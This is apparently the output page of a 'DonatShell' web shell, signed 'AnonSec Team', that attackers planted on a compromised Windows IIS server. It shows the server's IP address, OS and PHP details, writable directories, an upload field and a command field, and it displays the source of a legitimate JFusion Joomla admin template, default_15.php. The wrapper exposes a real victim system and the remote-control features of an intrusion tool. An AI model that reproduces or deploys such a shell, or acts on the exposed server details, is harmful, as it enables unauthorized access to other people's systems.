DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /AppServ/www/news/administrator/components/com_jfusion/views/plugindisplay/tmpl/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /AppServ/www/news/administrator/components/com_jfusion/views/plugindisplay/tmpl/default_15.php
<?php
/**
 * @package JFusion
 * @subpackage Views
 * @author JFusion development team
 * @copyright Copyright (C) 2008 JFusion. All rights reserved.
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
 *
 * @var $this jfusionViewplugindisplay
 */

// no direct access
defined('_JEXEC') or die('Restricted access');
JFusionFunctionAdmin::displayDonate();

//load mootools
JHTML::_('behavior.modal', 'a.modal');


$images = 'components/com_jfusion/images/';
?>
<script type="text/javascript">

function changesetting(fieldname, fieldvalue, jname){
	//change the image
	var url = '<?php echo JURI::root() . 'administrator/index.php'; ?>';
	var syncdata = 'jname=' + jname + '&field_name=' + fieldname + '&field_value=' + fieldvalue + '&task=changesettings&option=com_jfusion';

	var req = new Ajax(url, { method: 'get',
        onRequest: function() { 
        	showSpinner(jname,fieldname);
        },
        onSuccess: function(JSONobject) {
            var response = evaluateJSON(JSONobject);
            if (response) {
                $('jfusionError').innerHTML = response.errormessage;

                //also update the check_encryption and dual_login fields if needed
                if (fieldname == 'master' || fieldname == 'slave') {
                    if (fieldvalue == 1 && fieldname == 'master') {
                        //also untick other masters

                        var mtable=$('sortables');
                        var tablelength = mtable.rows.length - 1;
                        for (var i=1; i<=tablelength; i++) {
                            updateJavaScript(mtable.rows[i].id,"master",0);
                        }
                    }
                    updateJavaScript(jname,"check_encryption",fieldvalue);
                    updateJavaScript(jname,"dual_login",fieldvalue);
                    //also ensure the opposite value is set for master or slave
                    if (fieldvalue == 1) {
                        if (fieldname == 'master') {
                            updateJavaScript(jname,"slave",0);
                        } else {
                            updateJavaScript(jname,"master",0);
                        }
                    }
                }
                //update the image and link
                updateJavaScript(jname,fieldname,fieldvalue);
            } else {
                jfusionError(JSONobject);
            }
        }
    });
    req.request(syncdata);
}

function updateJavaScript(plugin,field, value) {
	var tdElem = $(plugin + '_' + field);
	var newValue = 0;
	if (value == 1) {
		tdElem.firstChild.firstChild.src = "components/com_jfusion/images/tick.png";
	} else {
		tdElem.firstChild.firstChild.src = "components/com_jfusion/images/cross.png";
		newValue = 1;
	} 
	tdElem.firstChild.href = "javascript: changesetting('"+field+"','"+newValue+"','"+plugin+"')";
	
}

function showSpinner(jname,fieldname) {
	var tdElem = $(jname + '_' + fieldname);
	tdElem.firstChild.firstChild.src = "components/com_jfusion/images/spinner.gif";
}

function copyplugin(jname) {
	var newjname = prompt('Please type in the name to use for the copied plugin. This name must not already be in use.', '');
    if(newjname) {
        var url = '<?php echo JURI::root() . 'administrator/index.php'; ?>';

        // this code will send a data object via a GET request and alert the retrieved data.
        var jsonRequest = new Ajax(url, { method: 'get',
            onSuccess: function(JSONobject) {
                var response = evaluateJSON(JSONobject);
                if (response) {
                    if(response.status === true) {
                        //add new row
                        addRow(response.newjname, response.rowhtml);
                    }
                    alert(response.message);
                } else {
                    jfusionError(JSONobject);
                }
            }
        });
        jsonRequest.request('option=com_jfusion&task=plugincopy&jname=' + jname + '&new_jname=' + newjname);
    }
}

function addRow(newjname, rowhtml) {
    var div = new Element('div');
    div.setHTML('<table>' + '<tr id="'+newjname+'">'+rowhtml+'</tr>' + '</table>');
    div.getElement('tr').inject($("sort_table"),'top');
    initSortables();
}

function initSortables() {
    var url = '<?php echo JURI::root() . 'administrator/index.php'; ?>';

    /* allow for updates of row order */
    
	var dragHandles = document.getElementsByName('handle');

    var ajaxsync = new Ajax(url, {
	    method: 'get',
        onSuccess: function(JSONobject) {
            var response = evaluateJSON(JSONobject);
            if (response) {
                if (response.status === false) {
                    alert(response.message);
                }
            } else {
                jfusionError(JSONobject);
            }
        }
	});
	
    new Sortables('sort_table',{
		/* set options */
      	handles: dragHandles, 

		
		/* initialization stuff here */
		initialize: function() {
			// do nothing yet
		},
		/* once an item is selected */
		onStart: function(el) {
			//a little fancy work to hide the clone which mootools 1.1 doesn't seem to give the option for
			var checkme = $$('div tr#' + el.id);
			if (checkme[1]) {
				checkme[1].setStyle('display','none');
			}
		},

		onComplete: function(el) {
			//build a string of the order
			var sortorder = '';
			var rowcount = '0';
			$$('#sort_table tr').each(function(tr) {
                $(tr.id).setAttribute('class', 'row' + rowcount);
				if (rowcount == '0') {
					rowcount = '1';
				} else {
					rowcount = '0';
				}
                sortorder = sortorder +  tr.id  + '|';
		    });

			//update the database
            ajaxsync.request('option=com_jfusion&task=saveorder&tmpl=component&sort_order='+sortorder);

	   }
    });
}
  
function deleteplugin(jname) {
	var confirmdelete = confirm('<?php echo JText::_('DELETE',true) . ' ' . JText::_('PLUGIN',true) . ' ' ;?>' + jname + "?");
    if(confirmdelete) {
    	//update the database
        var url = '<?php echo JURI::root() . 'administrator/index.php'; ?>';
	
        // this code will send a data object via a GET request and alert the retrieved data.
        var jsonRequest = new Ajax(url, { method: 'get',
            onSuccess: function(JSONobject) {
                var response = evaluateJSON(JSONobject);
                if (response) {
                    if(response.status === true) {
                        var el = $(response.jname);
                        el.parentNode.removeChild(el);
                    }
                    alert(response.message);
                } else {
                    jfusionError(JSONobject);
                }
			}
		});
    	jsonRequest.request('option=com_jfusion&task=uninstallplugin&tmpl=component&jname='+jname);
    }
}

window.addEvent('domready',function() {
	$('installGIT').addEvent('submit', function(e) {
		new Event(e).stop();

		$('spinnerGIT').innerHTML = '<img border="0" alt="loading" src="components/com_jfusion/images/spinner.gif">';
		this.send({ method: 'post',
            onSuccess: function(JSONobject) {
                $('spinnerGIT').innerHTML = '';
                var response = evaluateJSON(JSONobject);
                if (response) {
                    if (response.overwrite != 1 && response.status === true) {
                        addRow(response.jname, response.rowhtml);
                    }
                    alert(response.message);
                } else {
                    jfusionError(JSONobject);
                }
            }, data: this.toQueryString()+'&ajax=true'
		});
	});

	$('installURL').addEvent('submit', function(e) {
		new Event(e).stop();
		$('spinnerURL').innerHTML = '<img border="0" alt="loading" src="components/com_jfusion/images/spinner.gif">';
            this.send({method : 'post',
                onSuccess: function(JSONobject) {
                    $('spinnerURL').innerHTML = '';
                    var response = evaluateJSON(JSONobject);
                    if (response) {
                        if (response.overwrite != 1 && response.status === true) {
                            addRow(response.jname, response.rowhtml);
                        }
                        alert(response.message);
                    } else {
                        jfusionError(JSONobject);
                    }
			}, data: this.toQueryString()+'&ajax=true'
		});
	});

	$('installDIR').addEvent('submit', function(e) {
		new Event(e).stop();
		$('spinnerDIR').innerHTML = '<img border="0" alt="loading" src="components/com_jfusion/images/spinner.gif">';
            this.send({method : 'post',
                onSuccess: function(JSONobject) {
                    $('spinnerDIR').innerHTML = '';
                    var response = evaluateJSON(JSONobject);
                    if (response) {
                        if (response.overwrite != 1 && response.status === true) {
                            addRow(response.jname, response.rowhtml);
                        }
                        alert(response.message);
                    } else {
                        jfusionError(JSONobject);
                    }
            }, data: this.toQueryString()+'&ajax=true'
		});
	});

	$('installZIP').addEvent('submit', function(e) {
		new Event(e).stop();
		var spinner = $('installZIP');
	    spinner.innerHTML = '<img border="0" alt="loading" src="components/com_jfusion/images/spinner.gif">';			

		this.submit();
	});

	initSortables();
});
</script>

<div id="jfusionError" style="color:red;"><?php echo $this->errormessage; ?></div>
<form method="post" action="index.php" name="adminForm">
	<input type="hidden" name="option" value="com_jfusion" />
	<input type="hidden" name="task" value="saveorder" />
	
	<table class="adminlist" style="border-spacing:1px;" id="sortables">
	    <thead>
	        <tr>
	            <th class="title" width="20px;">
	            </th>
	            <th class="title" align="left">
	            	<?php echo JText::_('NAME');?>
	            </th>
	            <th class="title" width="75px" align="center">
	            	<?php echo JText::_('ACTIONS');?>
	            </th>
	            <th class="title" align="center">
	            	<?php echo JText::_('DESCRIPTION');?>
	            </th>
	            <th class="title" width="40px" align="center">
	            	<?php echo JText::_('MASTER'); ?>
	            </th>
	            <th class="title" width="40px" align="center">
	            	<?php echo JText::_('SLAVE'); ?>
	            </th>
	            <th class="title" width="40px" align="center">
	            	<?php echo JText::_('CHECK_ENCRYPTION'); ?>
	            </th>
	            <th class="title" width="40px" align="center">
	            	<?php echo JText::_('DUAL_LOGIN');?>
	            </th>
	            <th class="title" align="center">
	            	<?php echo JText::_('STATUS');?>
	            </th>
	            <th class="title" align="center">
	            	<?php echo JText::_('USERS');?>
	            </th>
	            <th class="title" align="center">
	            	<?php echo JText::_('REGISTRATION');?>
	            </th>
	            <th class="title" align="center">
	            	<?php echo JText::_('DEFAULT_USERGROUP');?>
	            </th>
	        </tr>
	    </thead>
	    <tbody id="sort_table">
		<?php
		//loop through the JFusion plugins
        $row_count = 0;
		foreach($this->plugins as $record) {
		?>
			<tr id="<?php echo $record->name; ?>" class="row<? echo ($row_count % 2); ?>">
				<?php echo $this->generateRowHTML($record)?>
		    </tr>
		<?php
            $row_count++;
        } ?>
		</tbody>
	</table>
	<br />
	
	<table style="width:100%;">
	    <tr>
	        <td style="text-align: left;">
                <img src="<?php echo $images; ?>wizard_icon.png" border="0" alt="<?php echo JText::_('WIZARD');?>" style="margin-left: 10px;" /> = <?php echo JText::_('WIZARD');?>
	            <img src="<?php echo $images; ?>edit.png" border="0" alt="<?php echo JText::_('EDIT');?>" /> = <?php echo JText::_('EDIT');?>
	            <img src="<?php echo $images; ?>copy_icon.png" border="0" alt="<?php echo JText::_('COPY');?>" style="margin-left: 10px;" /> = <?php echo JText::_('COPY');?>
	            <img src="<?php echo $images; ?>delete_icon.png" border="0" alt="<?php echo JText::_('DELETE');?>" style="margin-left: 10px;" /> = <?php echo JText::_('DELETE');?>
	            <img src="<?php echo $images; ?>info.png" border="0" alt="<?php echo JText::_('INFO');?>" style="margin-left: 10px;" /> = <?php echo JText::_('INFO');?>
	        </td>
	        <td style="text-align: right;">
	            <img src="<?php echo $images; ?>tick.png" border="0" alt="<?php echo JText::_('ENABLED'); ?>" /> = <?php echo JText::_('ENABLED'); ?>
	            <img src="<?php echo $images; ?>cross.png" border="0" alt="<?php echo JText::_('DISABLED');?>" style="margin-left: 10px;" /> = <?php echo JText::_('DISABLED');?>
	            <img src="<?php echo $images; ?>cross_dim.png" border="0" alt="<?php echo JText::_('CONFIG_FIRST');?>" style="margin-left: 10px;" /> = <?php echo JText::_('CONFIG_FIRST');?>
	        </td>
	    </tr>
	</table>

</form>
<br/><br/>

<?php echo JText::_('PLUGIN_INSTALL_INSTR'); ?><br/>

<?php if($this->VersionData) {
//display installer data ?>

<form id="installGIT" method="post" action="index.php" enctype="multipart/form-data">
	<input type="hidden" name="option" value="com_jfusion" />
	<input type="hidden" name="task" value="installplugin" />
	<input type="hidden" name="installtype" value="url" />

	<table class="adminform">
		<tr>
			<td>
	    		<img src="components/com_jfusion/images/folder_url.png">
			</td>
			<td>
			    <table>
			    	<tr>
			    		<th colspan="2">
			    			<?php echo JText::_('INSTALL') . ' ' . JText::_('FROM') . ' JFusion ' .JText::_('SERVER'); ?>
			    		</th>
			    	</tr>
			    	<tr>
			    		<td width="120">
			    			<label for="install_url2">
			    				<?php echo JText::_('PLUGIN') . ' ' . JText::_('NAME'); ?> :
			    			</label>
			    		</td>
			    		<td>
			        		<select name="install_url" id="install_url2">
			    				<?php
                                /**
                                 * @ignore
                                 * @var $plugin JSimpleXMLElement
                                 */
                                foreach ($this->VersionData as $plugin): ?>
			    				<option value="<?php echo $plugin->getElementByPath('remotefile')->data() ?>"><?php echo $plugin->name() . ' - ' . $plugin->getElementByPath('description')->data(); ?></option>
			    				<?php endforeach; ?>
			            	</select>
			    			<input type="submit" name="button" id="submitter" /><div id="spinnerGIT"></div>
			    		</td>
			    	</tr>
		    	</table>
			</td>
		</tr>
	</table>
</form>
<?php }  else { ?>
    <table class="adminform">
        <tr>
            <td>
                <img src="components/com_jfusion/images/folder_url.png">
            </td>
            <td>
                <table>
                    <tr>
                        <th colspan="2">
                            <?php echo JText::_('INSTALL') . ' ' . JText::_('FROM') . ' JFusion ' .JText::_('SERVER'); ?>
                        </th>
                    </tr>
                    <tr>
                        <td width="120">
                            <label for="install_url2">
                                <?php echo JText::_('PLUGIN') . ' ' . JText::_('NAME'); ?> :
                            </label>
                        </td>
                        <td>
                            <?php echo JText::_('ERROR_LOADING_REMOTE_PLUGIN_DATA_FROM_JFUSION_SERVER'); ?>
                        </td>
                    </tr>
                </table>
            </td>
        </tr>
    </table>
<?php } ?>

<form id="installZIP" method="post" action="index.php" enctype="multipart/form-data">
	<input type="hidden" name="option" value="com_jfusion" />
	<input type="hidden" name="task" value="installplugin" />
	<input type="hidden" name="installtype" value="upload" />
		<table class="adminform">
			<tr>
				<td>
		    		<img src="components/com_jfusion/images/folder_zip.png">
				</td>
				<td>
		    		<table>
		    			<tr>
		    				<th colspan="2">
		    					<?php echo JText::_('UPLOAD_PACKAGE'); ?>
		    				</th>
		    			</tr>
		    			<tr>
		    				<td width="120">
		    					<label for="install_package">
		    						<?php echo JText::_('PACKAGE_FILE'); ?> :
		    					</label>
		    				</td>
		   					 <td>
		    					<input class="input_box" id="install_package" name="install_package" type="file" size="57" />
		    					<input type="button" value="<?php echo JText::_('UPLOAD_FILE'); ?> &amp; <?php echo JText::_('INSTALL'); ?>"  onclick="$('installZIP').submit();"/>
		    					<div id="spinnerZIP"></div>
		    				</td>
		    			</tr>
		    		</table>
				</td>
			</tr>
		</table>
	</form>

<form id="installDIR" method="post" action="index.php" enctype="multipart/form-data">
	<input type="hidden" name="option" value="com_jfusion" />
	<input type="hidden" name="task" value="installplugin" />
	<input type="hidden" name="installtype" value="folder" />
	<table class="adminform">
		<tr>
			<td>
		    	<img src="components/com_jfusion/images/folder_dir.png">
			</td>
			<td>
		    	<table>
		    		<tr>
		    			<th colspan="2">
		    				<?php echo JText::_('INSTALL_FROM_DIRECTORY'); ?>
		    			</th>
		    		</tr>
		    		<tr>
		    			<td width="120">
		    				<label for="install_directory">
			    				<?php echo JText::_('INSTALL_DIRECTORY'); ?> :
			    			</label>
		    			</td>
		    			<td>
                            <input type="text" id="install_directory" name="install_directory" class="input_box" size="150" value="" />
						    <input type="submit"  value="<?php echo JText::_('INSTALL'); ?>"/>
						    <div id="spinnerDIR">
						    </div>
						</td>
					</tr>
				</table>
			</td>
		</tr>
	</table>
</form>

<form id="installURL" method="post" action="index.php" enctype="multipart/form-data">
	<input type="hidden" name="option" value="com_jfusion" />
	<input type="hidden" name="task" value="installplugin" />
	<input type="hidden" name="installtype" value="url" />
	<table class="adminform">
		<tr>
		<td>
		    <img src="components/com_jfusion/images/folder_url.png">
		</td>
		<td>
		    <table>
			    <tr>
				    <th colspan="2">
				    	<?php echo JText::_('INSTALL_FROM_URL'); ?>
				    </th>
			    </tr>
			    <tr>
				    <td width="120">
					    <label for="install_url">
						    <?php echo JText::_('INSTALL_URL'); ?> :
					    </label>
				    </td>
				    <td>
					    <input type="text" id="install_url" name="install_url" class="input_box" size="150" value="http://" />
					    <input type="submit"   value="<?php echo JText::_('INSTALL'); ?>"/>
					    <div id="spinnerURL">
					    </div>
				    </td>
			    </tr>
		    </table>
		</td>
		</tr>
	</table>
</form>

Anon7 - 2022
AnonSec Team